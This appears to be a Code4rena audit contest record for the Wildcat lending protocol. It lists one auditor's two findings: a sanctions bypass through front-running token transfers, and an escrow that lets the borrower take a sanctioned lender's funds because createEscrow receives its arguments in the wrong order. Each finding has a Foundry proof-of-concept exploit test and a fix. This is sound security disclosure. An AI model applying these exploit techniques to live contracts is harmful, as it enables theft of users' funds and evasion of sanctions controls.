Platform: Code4rena
Start Date: 16/10/2023
Pot Size: $60,500 USDC
Total HM: 16
Participants: 131
Period: 10 days
Judge: 0xTheC0der
Total Solo HM: 3
Id: 296
League: ETH
Rank: 73/131
Findings: 2
Award: $19.79
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xStalin
Also found by: 0xCiphky, 0xComfyCat, 0xbepresent, 3docSec, Eigenvectors, Fulum, HChang26, Infect3d, QiuhaoLi, SandNallani, SovaSlava, TrungOre, YusSecurity, ZdravkoHr, ast3ros, ayden, bdmcbri, cu5t0mpeo, elprofesor, gizzy, jasonxiale, kodyvim, marqymarq10, max10afternoon, nisedo, nobody2018, radev_sw, rvierdiiev, serial-coder, xeros
13.1205 USDC - $13.12
https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketToken.sol#L64 https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/WildcatMarketController.sol#L182
Wildcat protocol queries Chainalysis oracle for checking whether lender is sanctioned or not. However according to docs(https://go.chainalysis.com/chainalysis-oracle-docs.html) provided by Chainalysis, they do not guarantee the timeliness of the data. What can happen here is as soon as the lender finds out that the address is sanctioned, he can transfer “market token” to other address he owns and request withdraw with that address. Unless sanction list from Chainalysis is updated within the batch duration period, lender can successfully withdraw his asset.
One assumption here is that “market token” has to be transferred before nukeFromOrbit
is called(which can be easily done by front-running) as nukeFromOrbit moves all the balance to escrow contract.
// SPDX-License-Identifier: NONE pragma solidity >=0.8.20; import "forge-std/console.sol"; import './BaseMarketTest.sol'; contract Exploit is BaseMarketTest { function testSanctionBypass() external { address alice_bck = address(0xaaaa); _deposit(alice, 1e18); sanctionsSentinel.sanction(alice); // Before nukeFromOrbit is called, alice transfers balance to alice_bck vm.startPrank(alice); market.transfer(alice_bck, market.balanceOf(alice)); vm.stopPrank(); market.nukeFromOrbit(alice); // Grant alice_bck with withdrawOnly role address[] memory markets = new address[](1); markets[0] = address(market); controller.updateLenderAuthorization(alice_bck, markets); _requestWithdrawal(alice_bck, 1e18); uint32 expiry = uint32(block.timestamp + parameters.withdrawalBatchDuration); // alice_bck address shouldn't be sanctioned by sentinel in this period fastForward(parameters.withdrawalBatchDuration); market.executeWithdrawal(alice_bck, expiry); console.log("Balance of alice_bck : %s", asset.balanceOf(alice_bck)); } }
Visual Studio Code, Foundry
Check whether lender is sanctioned before transferring token.
Token-Transfer
#0 - c4-pre-sort
2023-10-27T03:15:48Z
minhquanym marked the issue as duplicate of #54
#1 - c4-judge
2023-11-07T14:36:22Z
MarioPoneder changed the severity to 3 (High Risk)
#2 - c4-judge
2023-11-07T14:37:41Z
MarioPoneder marked the issue as satisfactory
🌟 Selected for report: YusSecurity
Also found by: 0xAsen, 0xCiphky, 0xDING99YA, 0xKbl, 0xSwahili, 0xbepresent, 3docSec, AS, Aymen0909, DeFiHackLabs, GREY-HAWK-REACH, KeyKiril, MiloTruck, QiuhaoLi, Silvermist, SovaSlava, TrungOre, VAD37, Vagner, Yanchuan, ZdravkoHr, ast3ros, cartlex_, d3e4, deth, ggg_ttt_hhh, gizzy, kodyvim, nirlin, nobody2018, rvierdiiev, serial-coder, sl1, tallo, xeros
6.6715 USDC - $6.67
https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketWithdrawals.sol#L166 https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketBase.sol#L172
createEscrow
function in WildcatSanctionsSentinel
is called to create an escrow contract responsible for holding the asset of sanctioned account. Definition for this function is as follows
function createEscrow( address account, address borrower, address asset ) external returns (address escrowContract);
This function is called by executeWithdrawal
and _blockAccount
function, both of which are calling the function with wrong argument order.
// Inside executeWithdraw address escrow = IWildcatSanctionsSentinel(sentinel).createEscrow( accountAddress, borrower, address(asset) ); // Inside _blockAccount address escrow = IWildcatSanctionsSentinel(sentinel).createEscrow( accountAddress, borrower, address(this) );
What happens from this is that canReleaseEscrow
function in escrow contract returns true which means that borrower can call releaseEscrow
function to transfer asset to their wallet(instead of lenders wallet).
// SPDX-License-Identifier: NONE pragma solidity >=0.8.20; import "forge-std/console.sol"; import './BaseMarketTest.sol'; contract Exploit is BaseMarketTest { function testCreateEscrowArg() external { address escrow; _deposit(alice, 1e18); _requestWithdrawal(alice, 1e18); uint32 expiry = uint32(block.timestamp + parameters.withdrawalBatchDuration); sanctionsSentinel.sanction(alice); fastForward(parameters.withdrawalBatchDuration); vm.recordLogs(); market.executeWithdrawal(alice, expiry); Vm.Log[] memory entries = vm.getRecordedLogs(); for (uint256 i=0; i<entries.length; i++) { if (entries[i].topics[0] == keccak256("SanctionOverride(address,address)")) { escrow = address(uint160(uint256(entries[i].topics[2]))); } } console.log("Balance of borrower before releaseEscrow : %s", asset.balanceOf(borrower)); WildcatSanctionsEscrow(escrow).releaseEscrow(); console.log("Balance of borrower after releaseEscrow : %s", asset.balanceOf(borrower)); } }
Visual Studio Code, Foundry
Call createEscrow
with correct argument order
Other
#0 - c4-pre-sort
2023-10-27T02:24:11Z
minhquanym marked the issue as duplicate of #515
#1 - c4-judge
2023-11-07T11:46:36Z
MarioPoneder changed the severity to 3 (High Risk)
#2 - c4-judge
2023-11-07T11:49:34Z
MarioPoneder marked the issue as satisfactory